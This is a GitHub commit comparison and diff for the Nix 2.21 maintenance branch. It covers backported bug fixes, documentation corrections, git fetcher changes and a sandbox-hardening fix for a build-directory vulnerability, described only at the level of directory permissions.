Compare commits

...

58 Commits

Author SHA1 Message Date
Robert Hensing
09e46fef00 Merge pull request #11046 from NixOS/backport-11031-to-2.21-maintenance
[Backport 2.21-maintenance] libstore: fix sandboxed builds on macOS
2024-07-05 17:59:05 +02:00
Emily
9feee13952 libstore: fix sandboxed builds on macOS
The recent fix for CVE-2024-38531 broke the sandbox on macOS
completely. As it’s not practical to use `chroot(2)` on
macOS, the build takes place in the main filesystem tree, and the
world‐unreadable wrapper directory prevents the build from accessing
its `$TMPDIR` at all.

The macOS sandbox probably shouldn’t be treated as any kind of a
security boundary in its current state, but this specific vulnerability
wasn’t possible to exploit on macOS anyway, as creating `set{u,g}id`
binaries is blocked by sandbox policy.

Locking down the build sandbox further may be a good idea in future,
but it already has significant compatibility issues. For now, restore
the previous status quo on macOS.

Thanks to @alois31 for helping me come to a better understanding of
the vulnerability.

Fixes: 1d3696f0fb
Closes: #11002
(cherry picked from commit af2e1142b1)
2024-07-05 17:17:47 +02:00
Emily
0d68b40dda libstore: clean up the build directory properly
After the fix for CVE-2024-38531, this was only removing the nested
build directory, rather than the top‐level temporary directory.

Fixes: 1d3696f0fb
(cherry picked from commit 76e4adfaac)
2024-07-05 17:16:51 +02:00
Robert Hensing
8097437bd0 Merge pull request #11027 from NixOS/backport-11022-to-2.21-maintenance
[Backport 2.21-maintenance] Use proper struct sockpeercred for SO_PEERCRED for OpenBSD
2024-07-03 20:30:27 +02:00
John Ericson
9c5f0fbb82 Remove invalid release notes YAML field
There is no PR for this, since it was an embargoed fix before
disclosure.

(cherry picked from commit 32e67eba8b)
2024-07-03 20:02:12 +02:00
kn
99951d5628 Use proper struct sockpeercred for SO_PEERCRED for OpenBSD
getsockopt(2) documents this;  ucred is wrong ("cr_" member prefix, no pid).

(cherry picked from commit 10ccdb7a41)
2024-07-03 15:57:10 +00:00
John Ericson
ca953d5869 Ident some CPP in nix daemon
Makes it easier for me to read.

(cherry picked from commit a09360400b)
2024-07-03 15:57:10 +00:00
Eelco Dolstra
822519916c Bump version 2024-06-27 10:57:53 +02:00
tomberek
30fe48b886 Merge pull request from GHSA-q82p-44mg-mgh5
Fix sandbox escape 2.21
2024-06-26 18:49:22 -04:00
Eelco Dolstra
8f58b98770 Fix --no-sandbox
When sandboxing is disabled, we cannot put $TMPDIR underneath an
inaccessible directory.

(cherry picked from commit 86ca2d6d94c0581fda0c666c5e022784952f3542)
2024-06-21 16:25:53 +02:00
Eelco Dolstra
409d5c60b6 Formatting
(cherry picked from commit 3af22860759509d5040ff70618247031d96a095c)
2024-06-21 16:16:17 +02:00
Eelco Dolstra
ba13559bd9 Put the chroot inside a directory that isn't group/world-accessible
Previously, the .chroot directory had permission 750 or 755 (depending
on the uid-range system feature) and was owned by root/nixbld. This
makes it possible for any nixbld user (if uid-range is disabled) or
any user (if uid-range is enabled) to inspect the contents of the
chroot of an active build and maybe interfere with it (e.g. via /tmp
in the chroot, which has 1777 permission).

To prevent this, the root is now a subdirectory of .chroot, which has
permission 700 and is owned by root/root.

(cherry picked from commit af280e72fa0e62e1c2eaccfb992c0dbb6f27f895)
2024-06-21 16:16:17 +02:00
John Ericson
520a66f201 Merge pull request #10851 from NixOS/backport-10549-to-2.21-maintenance
[Backport 2.21-maintenance] Fix exportReferencesGraph when given store subpath
2024-06-04 06:50:42 -04:00
Alyssa Ross
5342d27f0b Fix exportReferencesGraph when given store subpath
With Nix 2.3, it was possible to pass a subpath of a store path to
exportReferencesGraph:

	with import <nixpkgs> {};

	let
	  hello = writeShellScriptBin "hello" ''
	    echo ${toString builtins.currentTime}
	  '';
	in

	writeClosure [ "${hello}/bin/hello" ]

This regressed with Nix 2.4, with a very confusing error message, that
presumably indicates it was unintentional:

	error: path '/nix/store/3gl7kgjr4pwf03f0x70dgx9ln3bhl7zc-hello/bin/hello' is not in the Nix store

(cherry picked from commit 0774e8ba33)
2024-06-04 10:26:20 +00:00
Robert Hensing
46b6cfbfc6 Merge pull request #10845 from NixOS/backport-9897-to-2.21-maintenance
[Backport 2.21-maintenance] libutil/url: fix git+file:./ parse error
2024-06-04 11:09:18 +02:00
Bryan Lai
03eb7111fa libutil/url: fix git+file:./ parse error
Previously, the "file:./" prefix was not correctly recognized in
fixGitURL; instead, it was mistaken as a file path, which resulted in a
parsed url of the form "file://file:./".

This commit fixes the issue by properly detecting the "file:" prefix.
Note, however, that unlike "file://", the "file:./" URI is _not_
standardized, but has been widely used to referred to relative file
paths. In particular, the "git+file:./" did work for nix<=2.18, and was
broken since nix 2.19.0.

Finally, this commit fixes the issue completely for the 2.19 series, but
is still inadequate for the 2.20 series due to new behaviors from the
switch to libgit2. However, it does improve the correctness of parsing
even though it is not yet a complete solution.

(cherry picked from commit 8594f3cd5a)
2024-06-04 08:27:12 +00:00
Eelco Dolstra
1ebc34e9c5 Merge pull request #10720 from NixOS/backport-10675-to-2.21-maintenance
[Backport 2.21-maintenance] Handle zip files containing symlinks
2024-05-16 09:51:47 +02:00
github-actions[bot]
1248da4423 remove link to relocated manual page (#10706)
fix old anchor redirects to point to the correct location

(cherry picked from commit 45697ba502)

Co-authored-by: Valentin Gagarin <valentin.gagarin@tweag.io>
2024-05-15 22:41:26 +02:00
github-actions[bot]
3c10c6f15d Revert "manual: fold sidebar sections" (#10699)
(cherry picked from commit 937e7bae48)

Co-authored-by: Valentin Gagarin <valentin.gagarin@tweag.io>
2024-05-15 22:40:44 +02:00
Eelco Dolstra
6f6a772da6 Handle zip files containing symlinks
In streaming mode, libarchive doesn't handle symlinks in zip files
correctly. So write the entire file to disk so libarchive can access
it in random-access mode.

Fixes #10649. This was broken in cabee98152.

(cherry picked from commit 9951e14ae0)
2024-05-15 20:07:38 +00:00
Robert Hensing
375acc48ea Merge pull request #10670 from NixOS/backport-10588-to-2.21-maintenance
[Backport 2.21-maintenance] Fix fetchGit/fetchTree for nested submodules
2024-05-09 11:32:38 +02:00
Robert Hensing
7d1af2cf79 Fix fetchGit nested submodules
(cherry picked from commit 750bcaa330)
2024-05-09 09:09:37 +00:00
Théophane Hufschmitt
8a91b5e1bc Add a release note for the build-dir hardening 2024-04-22 15:30:52 +02:00
Théophane Hufschmitt
64d7f56eaa Run the builds in a daemon-controled directory
Instead of running the builds under
`$TMPDIR/{unique-build-directory-owned-by-the-build-user}`, run them
under `$TMPDIR/{unique-build-directory-owned-by-the-daemon}/{subdir-owned-by-the-build-user}`
where the build directory is only readable and traversable by the daemon user.

This achieves two things:

1. It prevents builders from making their build directory world-readable
   (or even writeable), which would allow the outside world to interact
   with them.
2. It prevents external processes running as the build user (either
   because that somehow leaked, maybe as a consequence of 1., or because
   `build-users` isn't in use) from gaining access to the build
   directory.
2024-04-22 15:30:50 +02:00
Théophane Hufschmitt
1b8ff553bd Add a test for the user sandboxing 2024-04-22 15:27:32 +02:00
Théophane Hufschmitt
93e8660bba Merge pull request #10529 from NixOS/backport-10467-to-2.21-maintenance
[Backport 2.21-maintenance] nix shell: Handle output paths that are symlinks
2024-04-17 16:12:10 +02:00
Eelco Dolstra
b1044d52ce nix shell: Test that store paths cannot link outside of the store
(cherry picked from commit 26a4688a86)
2024-04-17 13:25:06 +00:00
Eelco Dolstra
c8905a8747 Doh
(cherry picked from commit 9d50f57fa3)
2024-04-17 13:25:06 +00:00
Eelco Dolstra
3e138de2e0 nix shell: Handle output paths that are symlinks
This requires moving resolveSymlinks() into SourceAccessor. Also, it
requires LocalStoreAccessor::maybeLstat() to work on parents of the
store (to avoid an error like "/nix is not in the store").

Fixes #10375.

(cherry picked from commit 85b9f4ef4f)
2024-04-17 13:25:06 +00:00
Théophane Hufschmitt
60824fa97c Merge pull request #10475 from tweag/backport-10244-to-2.21-maintenance
Backport #10244 to 2.21 maintenance
2024-04-11 17:29:58 +02:00
Bouke van der Bijl
d5e029a62e Add nixos test
(cherry picked from commit cd06193d13)
2024-04-11 17:00:15 +02:00
Bouke van der Bijl
ed6dc569bb Set the origin instead of hacking in the URL resolving
(cherry picked from commit 1a76ca4161)
2024-04-11 17:00:15 +02:00
Bouke van der Bijl
3f2150dcd1 git fetcher: relax absolute URL check of resolveSubmoduleUrl
This matches up the behavior with the internals of libgit2

Fixes #9979

(cherry picked from commit 1f73de2629)
2024-04-11 17:00:15 +02:00
Théophane Hufschmitt
0c1fcc2a97 Merge pull request #10470 from NixOS/backport-10456-to-2.21-maintenance
[Backport 2.21-maintenance] Fix adding symlink to the sandbox paths
2024-04-11 15:14:48 +02:00
Théophane Hufschmitt
4c7f69f531 Fix permission denied when building symlink derivation which points to a symlink out of the store
Bind-mounting symlinks is apparently not possible, which is why the
thing was failing.

Fortunately, symlinks are small, so we can fallback to copy them at no cost.

Fix https://github.com/NixOS/nix/issues/9579

Co-authored-by: Artturin <Artturin@artturin.com>
(cherry picked from commit 913db9f738)
2024-04-11 12:17:37 +00:00
Théophane Hufschmitt
2e93272f19 Add a test for depending on a symlink store path
Regression test for https://github.com/NixOS/nix/issues/9579

(cherry picked from commit 872d93eb13)
2024-04-11 12:17:36 +00:00
John Ericson
45b2789dc8 Merge pull request #10466 from NixOS/backport-10458-to-2.21-maintenance
[Backport 2.21-maintenance] doc/rl-2.20: clarify builders-use-substitutes vs. substitute-on-destion
2024-04-11 03:16:31 -04:00
Maximilian Bosch
a643aeccd3 doc/rl-2.20: clarify builders-use-substitutes vs. substitute-on-destination
...as this lead to confusion before.

(cherry picked from commit 50557adb3b)
2024-04-10 21:26:20 +00:00
Eelco Dolstra
c80068c099 Merge pull request #10462 from NixOS/backport-10413-to-2.21-maintenance
[Backport 2.21-maintenance] path-info: print correct path when using `nix path-info --store file://... --all --json`
2024-04-10 22:32:34 +02:00
Maximilian Bosch
cb7beb05cd path-info: print correct path when using nix path-info --store file://... --all --json
When querying all paths in a binary cache store, the path's representation
is `<hash>-x` (where `x` is the value of `MissingName`) because the .narinfo
filenames only contain the hash.

Before cc46ea1630 this worked correctly,
because the entire path info was read and the path from this
representation was printed, i.e. in the form `<hash>-<name>`. Since then
however, the direct result from `queryAllValidPaths()` was used as `path`.

Added a regression test to make sure the behavior remains correct.

(cherry picked from commit c80cd6bb06)
2024-04-10 17:37:39 +00:00
Théophane Hufschmitt
b433176028 Merge pull request #10452 from NixOS/backport-10449-to-2.21-maintenance
[Backport 2.21-maintenance] doc/rl-2.20: add missing entry about `nix copy --to ssh-ng://...`
2024-04-10 12:41:11 +02:00
Maximilian Bosch
9fe8513e3a doc/rl-2.20: add missing entry about nix copy --to ssh-ng://...
This requires `--substitute-on-destination` if you want the remote side
to substitute instead of copying if possible.

For completeness sake, document it here.

Also, the stable Nix from nixpkgs is still 2.18, so more folks may
stumble upon this when this is bumped, so I'd expect this to be actually
useful.

Closes #10182

(cherry picked from commit f34b8de5b2)
2024-04-10 09:44:51 +00:00
Eelco Dolstra
bd2c466b46 Bump version 2024-04-05 17:24:14 +02:00
Eelco Dolstra
355cbc482f Merge pull request #10392 from NixOS/backport-10391-to-2.21-maintenance
[Backport 2.21-maintenance] Handle the case where a parent of ~/.nix-defexpr is a symlink
2024-04-03 18:18:57 +02:00
Eelco Dolstra
56555e584f Handle the case where a parent of ~/.nix-defexpr is a symlink
Fixes https://github.com/DeterminateSystems/nix-installer/issues/912 and probably #10247.

(cherry picked from commit 09551fabd0)
2024-04-03 15:20:54 +00:00
Eelco Dolstra
92e38fe30c Merge pull request #10384 from NixOS/backport-10340-to-2.21-maintenance
[Backport 2.21-maintenance] Add trust-tarballs-from-git-forges setting
2024-04-03 11:48:19 +02:00
Eelco Dolstra
b77b2c22c1 Add test
(cherry picked from commit 00ce36fafe)
2024-04-02 16:06:10 +00:00
Eelco Dolstra
162cc2a180 Add trust-tarballs-from-git-forges setting
If enabled, GitHub flakerefs don't require a content hash, a Git
revision is enough.

Fixes #10297.

(cherry picked from commit 46d9e70c20)
2024-04-02 16:06:10 +00:00
Eelco Dolstra
542b9eff07 Merge pull request #10356 from NixOS/backport-10259-to-2.21-maintenance
[Backport 2.21-maintenance] doc: builtins.addDrvOutputDependencies: fix link target
2024-03-29 13:21:51 +01:00
Yueh-Shun Li
4e9c7e7a3d builtins.addDrvOutputDependencies: fix commentary
(cherry picked from commit d2b512959c)
2024-03-29 10:56:48 +00:00
Yueh-Shun Li
0d8e2679a5 doc: builtins.addDrvOutputDependencies: fix link target
(cherry picked from commit 39b0b8452f)
2024-03-29 10:56:48 +00:00
Eelco Dolstra
2d1cb49095 Bump version 2024-03-26 18:56:51 +01:00
Théophane Hufschmitt
3272ed0d58 Merge pull request #10328 from NixOS/backport-10325-to-2.21-maintenance
[Backport 2.21-maintenance] build-remote: fix format string shenanigans
2024-03-26 15:04:01 +01:00
K900
fb25bdc7b7 build-remote: fix format string shenanigans
HintFmt(string) invokes the HintFmt("%s", literal) constructor,
which is not what we want here. Add a constructor with a proper name
and call that.

Next step: rename all the other ones to HintFmt::literal(string).

Fixes https://github.com/NixOS/nix/issues/10238

(cherry picked from commit 2d4edb945b)
2024-03-26 13:35:06 +00:00
Robert Hensing
53440f4edf Merge pull request #10309 from NixOS/backport-10293-to-2.21-maintenance
[Backport 2.21-maintenance] EvalCache: Fix missing format string argument
2024-03-24 02:54:31 +01:00
Eelco Dolstra
9e35746360 EvalCache: Fix missing format string argument
Fixes

  terminate called after throwing an instance of 'boost::wrapexcept<boost::io::too_few_args>'
    what():  boost::too_few_args: format-string referred to more arguments than were passed
  Aborted (core dumped)

for type errors in AttrCursor.

(cherry picked from commit bfd36402ac)
2024-03-24 01:28:27 +00:00
Eelco Dolstra
057ffc2e8e Bump version 2024-03-11 21:15:30 +01:00
Eelco Dolstra
34807c8906 Mark official release 2024-03-11 18:34:29 +01:00
47 changed files with 670 additions and 133 deletions

View File

@@ -1 +1 @@
2.21.0
2.21.4

View File

@@ -6,8 +6,6 @@ additional-css = ["custom.css"]
additional-js = ["redirects.js"]
edit-url-template = "https://github.com/NixOS/nix/tree/master/doc/manual/{path}"
git-repository-url = "https://github.com/NixOS/nix"
fold.enable = true
fold.level = 1
[preprocessor.anchors]
renderers = ["html"]

View File

@@ -290,10 +290,10 @@ const redirects = {
"ssec-gc-roots": "package-management/garbage-collector-roots.html",
"chap-package-management": "package-management/package-management.html",
"sec-profiles": "package-management/profiles.html",
"ssec-s3-substituter": "package-management/s3-substituter.html",
"ssec-s3-substituter-anonymous-reads": "package-management/s3-substituter.html#anonymous-reads-to-your-s3-compatible-binary-cache",
"ssec-s3-substituter-authenticated-reads": "package-management/s3-substituter.html#authenticated-reads-to-your-s3-binary-cache",
"ssec-s3-substituter-authenticated-writes": "package-management/s3-substituter.html#authenticated-writes-to-your-s3-compatible-binary-cache",
"ssec-s3-substituter": "store/types/s3-substituter.html",
"ssec-s3-substituter-anonymous-reads": "store/types/s3-substituter.html#anonymous-reads-to-your-s3-compatible-binary-cache",
"ssec-s3-substituter-authenticated-reads": "store/types/s3-substituter.html#authenticated-reads-to-your-s3-binary-cache",
"ssec-s3-substituter-authenticated-writes": "store/types/s3-substituter.html#authenticated-writes-to-your-s3-compatible-binary-cache",
"sec-sharing-packages": "package-management/sharing-packages.html",
"ssec-ssh-substituter": "package-management/ssh-substituter.html",
"chap-quick-start": "quick-start.html",

View File

@@ -0,0 +1,7 @@
---
synopsis: Harden the user sandboxing
significance: significant
issues:
---
The build directory has been hardened against interference with the outside world by nesting it inside another directory owned by (and only readable by) the daemon user.

View File

@@ -42,7 +42,6 @@
- [Serving a Nix store via HTTP](package-management/binary-cache-substituter.md)
- [Copying Closures via SSH](package-management/copy-closure.md)
- [Serving a Nix store via SSH](package-management/ssh-substituter.md)
- [Serving a Nix store via S3](package-management/s3-substituter.md)
- [Remote Builds](advanced-topics/distributed-builds.md)
- [Tuning Cores and Jobs](advanced-topics/cores-vs-jobs.md)
- [Verifying Build Reproducibility](advanced-topics/diff-hook.md)

View File

@@ -200,3 +200,9 @@
while performing various operations (including `nix develop`, `nix flake
update`, and so on). With several fixes to Nix's signal handlers, Nix
commands will now exit quickly after Ctrl-C is pressed.
- `nix copy` to a `ssh-ng` store now needs `--substitute-on-destination` (a.k.a. `-s`)
in order to substitute paths on the remote store instead of copying them.
The behavior is consistent with `nix copy` to a different kind of remote store.
Previously this behavior was controlled by the
`builders-use-substitutes` setting and `--substitute-on-destination` was ignored.

View File

@@ -14,7 +14,7 @@
inherit (nixpkgs) lib;
inherit (lib) fileset;
officialRelease = false;
officialRelease = true;
version = lib.fileContents ./.version + versionSuffix;
versionSuffix =
@@ -165,7 +165,7 @@
nix =
let
officialRelease = false;
officialRelease = true;
versionSuffix =
if officialRelease
then ""
@@ -177,7 +177,7 @@
stdenv
versionSuffix
;
officialRelease = false;
officialRelease = true;
boehmgc = final.boehmgc-nix;
libgit2 = final.libgit2-nix;
busybox-sandbox-shell = final.busybox-sandbox-shell or final.default-busybox-sandbox-shell;

View File

@@ -202,7 +202,7 @@ static int main_build_remote(int argc, char * * argv)
else
drvstr = "<unknown>";
auto error = HintFmt(errorText);
auto error = HintFmt::fromFormatString(errorText);
error
% drvstr
% neededSystem

View File

@@ -581,7 +581,7 @@ std::string AttrCursor::getString()
auto & v = forceValue();
if (v.type() != nString && v.type() != nPath)
root->state.error<TypeError>("'%s' is not a string but %s", getAttrPathStr()).debugThrow();
root->state.error<TypeError>("'%s' is not a string but %s", getAttrPathStr(), showType(v)).debugThrow();
return v.type() == nString ? v.c_str() : v.path().to_string();
}
@@ -630,7 +630,7 @@ string_t AttrCursor::getStringWithContext()
else if (v.type() == nPath)
return {v.path().to_string(), {}};
else
root->state.error<TypeError>("'%s' is not a string but %s", getAttrPathStr()).debugThrow();
root->state.error<TypeError>("'%s' is not a string but %s", getAttrPathStr(), showType(v)).debugThrow();
}
bool AttrCursor::getBool()

View File

@@ -144,7 +144,7 @@ static RegisterPrimOp primop_addDrvOutputDependencies({
The original string context element must not be empty or have multiple elements, and it must not have any other type of element other than a constant or derivation deep element.
The latter is supported so this function is idempotent.
This is the opposite of [`builtins.unsafeDiscardOutputDependency`](#builtins-addDrvOutputDependencies).
This is the opposite of [`builtins.unsafeDiscardOutputDependency`](#builtins-unsafeDiscardOutputDependency).
)",
.fun = prim_addDrvOutputDependencies
});
@@ -246,7 +246,7 @@ static RegisterPrimOp primop_getContext({
/* Append the given context to a given string.
See the commentary above unsafeGetContext for details of the
See the commentary above getContext for details of the
context representation.
*/
static void prim_appendContext(EvalState & state, const PosIdx pos, Value * * args, Value & v)

View File

@@ -78,7 +78,6 @@ struct FetchSettings : public Config
)",
{}, true, Xp::Flakes};
Setting<bool> useRegistries{this, true, "use-registries",
"Whether to use flake registries to resolve flake references.",
{}, true, Xp::Flakes};
@@ -94,6 +93,22 @@ struct FetchSettings : public Config
empty, the summary is generated based on the action performed.
)",
{}, true, Xp::Flakes};
Setting<bool> trustTarballsFromGitForges{
this, true, "trust-tarballs-from-git-forges",
R"(
If enabled (the default), Nix will consider tarballs from
GitHub and similar Git forges to be locked if a Git revision
is specified,
e.g. `github:NixOS/patchelf/7c2f768bf9601268a4e71c2ebe91e2011918a70f`.
This requires Nix to trust that the provider will return the
correct contents for the specified Git revision.
If disabled, such tarballs are only considered locked if a
`narHash` attribute is specified,
e.g. `github:NixOS/patchelf/7c2f768bf9601268a4e71c2ebe91e2011918a70f?narHash=sha256-PPXqKY2hJng4DBVE0I4xshv/vGLUskL7jl53roB8UdU%3D`.
)"};
};
// FIXME: don't use a global variable.

View File

@@ -197,6 +197,12 @@ struct GitRepoImpl : GitRepo, std::enable_shared_from_this<GitRepoImpl>
return git_repository_is_shallow(*this);
}
void setRemote(const std::string & name, const std::string & url) override
{
if (git_remote_set_url(*this, name.c_str(), url.c_str()))
throw Error("setting remote '%s' URL to '%s': %s", name, url, git_error_last()->message);
}
Hash resolveRef(std::string ref) override
{
// Handle revisions used as refs.
@@ -318,9 +324,7 @@ struct GitRepoImpl : GitRepo, std::enable_shared_from_this<GitRepoImpl>
std::vector<std::tuple<Submodule, Hash>> getSubmodules(const Hash & rev, bool exportIgnore) override;
std::string resolveSubmoduleUrl(
const std::string & url,
const std::string & base) override
std::string resolveSubmoduleUrl(const std::string & url) override
{
git_buf buf = GIT_BUF_INIT;
if (git_submodule_resolve_url(&buf, *this, url.c_str()))
@@ -328,10 +332,6 @@ struct GitRepoImpl : GitRepo, std::enable_shared_from_this<GitRepoImpl>
Finally cleanup = [&]() { git_buf_dispose(&buf); };
std::string res(buf.ptr);
if (!hasPrefix(res, "/") && res.find("://") == res.npos)
res = parseURL(base + "/" + res).canonicalise().to_string();
return res;
}

View File

@@ -32,6 +32,8 @@ struct GitRepo
/* Return the commit hash to which a ref points. */
virtual Hash resolveRef(std::string ref) = 0;
virtual void setRemote(const std::string & name, const std::string & url) = 0;
/**
* Info about a submodule.
*/
@@ -69,9 +71,7 @@ struct GitRepo
*/
virtual std::vector<std::tuple<Submodule, Hash>> getSubmodules(const Hash & rev, bool exportIgnore) = 0;
virtual std::string resolveSubmoduleUrl(
const std::string & url,
const std::string & base) = 0;
virtual std::string resolveSubmoduleUrl(const std::string & url) = 0;
virtual bool hasObject(const Hash & oid) = 0;

View File

@@ -523,6 +523,9 @@ struct GitInputScheme : InputScheme
auto repo = GitRepo::openRepo(cacheDir, true, true);
// We need to set the origin so resolving submodule URLs works
repo->setRemote("origin", repoInfo.url);
Path localRefFile =
ref.compare(0, 5, "refs/") == 0
? cacheDir + "/" + ref
@@ -626,7 +629,7 @@ struct GitInputScheme : InputScheme
std::map<CanonPath, nix::ref<InputAccessor>> mounts;
for (auto & [submodule, submoduleRev] : repo->getSubmodules(rev, exportIgnore)) {
auto resolved = repo->resolveSubmoduleUrl(submodule.url, repoInfo.url);
auto resolved = repo->resolveSubmoduleUrl(submodule.url);
debug("Git submodule %s: %s %s %s -> %s",
submodule.path, submodule.url, submodule.branch, submoduleRev.gitRev(), resolved);
fetchers::Attrs attrs;
@@ -636,6 +639,8 @@ struct GitInputScheme : InputScheme
attrs.insert_or_assign("ref", submodule.branch);
attrs.insert_or_assign("rev", submoduleRev.gitRev());
attrs.insert_or_assign("exportIgnore", Explicit<bool>{ exportIgnore });
attrs.insert_or_assign("submodules", Explicit<bool>{ true });
attrs.insert_or_assign("allRefs", Explicit<bool>{ true });
auto submoduleInput = fetchers::Input::fromAttrs(std::move(attrs));
auto [submoduleAccessor, submoduleInput2] =
submoduleInput.getAccessor(store);
@@ -687,6 +692,9 @@ struct GitInputScheme : InputScheme
attrs.insert_or_assign("type", "git");
attrs.insert_or_assign("url", submodulePath.abs());
attrs.insert_or_assign("exportIgnore", Explicit<bool>{ exportIgnore });
attrs.insert_or_assign("submodules", Explicit<bool>{ true });
// TODO: fall back to getAccessorFromCommit-like fetch when submodules aren't checked out
// attrs.insert_or_assign("allRefs", Explicit<bool>{ true });
auto submoduleInput = fetchers::Input::fromAttrs(std::move(attrs));
auto [submoduleAccessor, submoduleInput2] =

View File

@@ -294,7 +294,9 @@ struct GitArchiveInputScheme : InputScheme
Git revision alone, we also require a NAR hash for
locking. FIXME: in the future, we may want to require a Git
tree hash instead of a NAR hash. */
return input.getRev().has_value() && input.getNarHash().has_value();
return input.getRev().has_value()
&& (fetchSettings.trustTarballsFromGitForges ||
input.getNarHash().has_value());
}
std::optional<ExperimentalFeature> experimentalFeature() const override

View File

@@ -156,9 +156,27 @@ DownloadTarballResult downloadTarball(
// TODO: fall back to cached value if download fails.
AutoDelete cleanupTemp;
/* Note: if the download is cached, `importTarball()` will receive
no data, which causes it to import an empty tarball. */
TarArchive archive { *source };
auto archive =
hasSuffix(toLower(parseURL(url).path), ".zip")
? ({
/* In streaming mode, libarchive doesn't handle
symlinks in zip files correctly (#10649). So write
the entire file to disk so libarchive can access it
in random-access mode. */
auto [fdTemp, path] = createTempFile("nix-zipfile");
cleanupTemp.reset(path);
debug("downloading '%s' into '%s'...", url, path);
{
FdSink sink(fdTemp.get());
source->drainInto(sink);
}
TarArchive{path};
})
: TarArchive{*source};
auto parseSink = getTarballCache()->getFileSystemObjectSink();
auto lastModified = unpackTarfileToSink(archive, *parseSink);

View File

@@ -26,6 +26,7 @@
#include <regex>
#include <queue>
#include <sys/stat.h>
#include <sys/un.h>
#include <fcntl.h>
#include <termios.h>
@@ -396,20 +397,30 @@ void LocalDerivationGoal::cleanupPostOutputsRegisteredModeNonCheck()
static void doBind(const Path & source, const Path & target, bool optional = false) {
debug("bind mounting '%1%' to '%2%'", source, target);
struct stat st;
if (stat(source.c_str(), &st) == -1) {
auto bindMount = [&]() {
if (mount(source.c_str(), target.c_str(), "", MS_BIND | MS_REC, 0) == -1)
throw SysError("bind mount from '%1%' to '%2%' failed", source, target);
};
if (lstat(source.c_str(), &st) == -1) {
if (optional && errno == ENOENT)
return;
else
throw SysError("getting attributes of path '%1%'", source);
}
if (S_ISDIR(st.st_mode))
if (S_ISDIR(st.st_mode)) {
createDirs(target);
else {
bindMount();
} else if (S_ISLNK(st.st_mode)) {
// Symlinks can (apparently) not be bind-mounted, so just copy it
createDirs(dirOf(target));
copyFile(source, target, /* andDelete */ false);
} else {
createDirs(dirOf(target));
writeFile(target, "");
bindMount();
}
if (mount(source.c_str(), target.c_str(), "", MS_BIND | MS_REC, 0) == -1)
throw SysError("bind mount from '%1%' to '%2%' failed", source, target);
};
#endif
@@ -488,8 +499,24 @@ void LocalDerivationGoal::startBuilder()
/* Create a temporary directory where the build will take
place. */
tmpDir = createTempDir("", "nix-build-" + std::string(drvPath.name()), false, false, 0700);
topTmpDir = createTempDir("", "nix-build-" + std::string(drvPath.name()), false, false, 0700);
#if __APPLE__
if (false) {
#else
if (useChroot) {
#endif
/* If sandboxing is enabled, put the actual TMPDIR underneath
an inaccessible root-owned directory, to prevent outside
access.
On macOS, we don't use an actual chroot, so this isn't
possible. Any mitigation along these lines would have to be
done directly in the sandbox profile. */
tmpDir = topTmpDir + "/build";
createDir(tmpDir, 0700);
} else {
tmpDir = topTmpDir;
}
chownToBuilder(tmpDir);
for (auto & [outputName, status] : initialOutputs) {
@@ -657,15 +684,19 @@ void LocalDerivationGoal::startBuilder()
environment using bind-mounts. We put it in the Nix store
so that the build outputs can be moved efficiently from the
chroot to their final location. */
chrootRootDir = worker.store.Store::toRealPath(drvPath) + ".chroot";
deletePath(chrootRootDir);
chrootParentDir = worker.store.Store::toRealPath(drvPath) + ".chroot";
deletePath(chrootParentDir);
/* Clean up the chroot directory automatically. */
autoDelChroot = std::make_shared<AutoDelete>(chrootRootDir);
autoDelChroot = std::make_shared<AutoDelete>(chrootParentDir);
printMsg(lvlChatty, "setting up chroot environment in '%1%'", chrootRootDir);
printMsg(lvlChatty, "setting up chroot environment in '%1%'", chrootParentDir);
if (mkdir(chrootParentDir.c_str(), 0700) == -1)
throw SysError("cannot create '%s'", chrootRootDir);
chrootRootDir = chrootParentDir + "/root";
// FIXME: make this 0700
if (mkdir(chrootRootDir.c_str(), buildUser && buildUser->getUIDCount() != 1 ? 0755 : 0750) == -1)
throw SysError("cannot create '%1%'", chrootRootDir);
@@ -2926,7 +2957,7 @@ void LocalDerivationGoal::checkOutputs(const std::map<std::string, ValidPathInfo
void LocalDerivationGoal::deleteTmpDir(bool force)
{
if (tmpDir != "") {
if (topTmpDir != "") {
/* Don't keep temporary directories for builtins because they
might have privileged stuff (like a copy of netrc). */
if (settings.keepFailed && !force && !drv->isBuiltin()) {
@@ -2934,7 +2965,8 @@ void LocalDerivationGoal::deleteTmpDir(bool force)
chmod(tmpDir.c_str(), 0755);
}
else
deletePath(tmpDir);
deletePath(topTmpDir);
topTmpDir = "";
tmpDir = "";
}
}

View File

@@ -27,10 +27,16 @@ struct LocalDerivationGoal : public DerivationGoal
std::optional<Path> cgroup;
/**
* The temporary directory.
* The temporary directory used for the build.
*/
Path tmpDir;
/**
* The top-level temporary directory. `tmpDir` is either equal to
* or a child of this directory.
*/
Path topTmpDir;
/**
* The path of the temporary directory in the sandbox.
*/
@@ -65,6 +71,16 @@ struct LocalDerivationGoal : public DerivationGoal
*/
bool useChroot = false;
/**
* The parent directory of `chrootRootDir`. It has permission 700
* and is owned by root to ensure other users cannot mess with
* `chrootRootDir`.
*/
Path chrootParentDir;
/**
* The root of the chroot environment.
*/
Path chrootRootDir;
/**

View File

@@ -33,6 +33,10 @@ struct LocalStoreAccessor : PosixSourceAccessor
std::optional<Stat> maybeLstat(const CanonPath & path) override
{
/* Handle the case where `path` is (a parent of) the store. */
if (isDirOrInDir(store->storeDir, path.abs()))
return Stat{ .type = tDirectory };
return PosixSourceAccessor::maybeLstat(toRealPath(path));
}

View File

@@ -186,7 +186,7 @@ std::optional<nlohmann::json> ParsedDerivation::prepareStructuredAttrs(Store & s
for (auto i = e->begin(); i != e->end(); ++i) {
StorePathSet storePaths;
for (auto & p : *i)
storePaths.insert(store.parseStorePath(p.get<std::string>()));
storePaths.insert(store.toStorePath(p.get<std::string>()).first);
json[i.key()] = pathInfoToJSON(store,
store.exportReferences(storePaths, inputPaths));
}

View File

@@ -421,6 +421,11 @@ void deletePath(const Path & path)
deletePath(path, dummy);
}
void createDir(const Path & path, mode_t mode)
{
if (mkdir(path.c_str(), mode) == -1)
throw SysError("creating directory '%1%'", path);
}
Paths createDirs(const Path & path)
{

View File

@@ -165,6 +165,11 @@ inline Paths createDirs(PathView path)
return createDirs(Path(path));
}
/**
* Create a single directory.
*/
void createDir(const Path & path, mode_t mode = 0755);
/**
* Create a symlink.
*/

View File

@@ -144,6 +144,10 @@ public:
: HintFmt("%s", Uncolored(literal))
{ }
static HintFmt fromFormatString(const std::string & format) {
return HintFmt(boost::format(format));
}
/**
* Interpolate the given arguments into the format string.
*/

View File

@@ -39,9 +39,9 @@ void SourceAccessor::readFile(
}
Hash SourceAccessor::hashPath(
const CanonPath & path,
